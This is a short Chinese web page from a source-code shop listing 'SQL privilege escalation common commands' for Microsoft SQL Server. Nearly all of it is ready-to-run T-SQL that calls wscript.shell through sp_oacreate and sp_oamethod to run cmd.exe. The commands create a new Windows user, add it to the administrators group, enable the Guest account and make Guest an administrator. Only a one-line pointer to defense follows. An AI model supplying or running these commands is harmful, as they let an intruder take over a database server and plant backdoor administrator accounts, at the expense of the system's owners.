源码网商城,靠谱的源码在线交易网站 我的订单 购物车 帮助

源码网商城

SQL 提权 常用命令

  • 时间:2022-02-22 02:43 编辑: 来源: 阅读:
  • 扫一扫,手机访问
摘要:SQL 提权 常用命令
[b]1、连接数据库[/b] driver={SQL Server};server=服务器IP;uid=用户名;pwd=密码;database=数据库名 [b]2、添加新用户[/b] declare @shell int exec sp_oacreate 'wscript.shell',@shell output exec sp_oamethod @shell,'run',null,'c:\windows\system32\cmd.exe /c net user 新用户 密码 /add' [b]3、把用户加到管理组[/b] declare @shell int exec sp_oacreate 'wscript.shell',@shell output exec sp_oamethod @shell,'run',null,'c:\windows\system32\cmd.exe /c net localgroup administrators 新用户 /add' [b]4、激活GUEST用户[/b] declare @shell int exec sp_oacreate 'wscript.shell',@shell output exec sp_oamethod @shell,'run',null,'c:\windows\system32\cmd.exe /c net user guest /active:yes' [b]5、把Guest加到管理组[/b] declare @shell int exec sp_oacreate 'wscript.shell',@shell output exec sp_oamethod @shell,'run',null,'c:\windows\system32\cmd.exe /c net localgroup Administrators Guest /add' 关于防范方法,可以参考编程素材网服务器安全设置栏目。
  • 全部评论(0)
联系客服
客服电话:
400-000-3129
微信版

扫一扫进微信版
返回顶部